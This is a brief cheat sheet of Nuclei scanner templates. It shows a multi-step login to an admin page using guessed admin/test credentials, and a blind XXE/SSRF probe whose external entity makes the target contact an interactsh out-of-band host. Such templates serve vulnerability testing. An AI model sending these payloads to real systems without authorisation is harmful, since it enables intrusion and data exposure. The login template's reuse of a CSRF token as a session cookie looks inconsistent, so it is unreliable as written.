# Nuclei Template Patterns
## Multi-step Authentication
```yaml
http:
  - raw:
      - |
        POST {{BaseURL}}/login HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        username=admin&password=test
    extractors:
      - type: regex
        name: csrf_token
        regex: ['name="csrf" value="([^"]+)"']
        internal: true
  - raw:
      - |
        GET {{BaseURL}}/admin HTTP/1.1
        Cookie: session={{csrf_token}}
```

## OOB Interaction (Blind SSRF/XXE)
```yaml
http:
  - raw:
      - |
        POST {{BaseURL}}/api HTTP/1.1
        Content-Type: application/xml
        <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">]><foo>&xxe;</foo>
    matchers:
      - type: word
        part: interactsh_protocol
        words: ["http"]
```
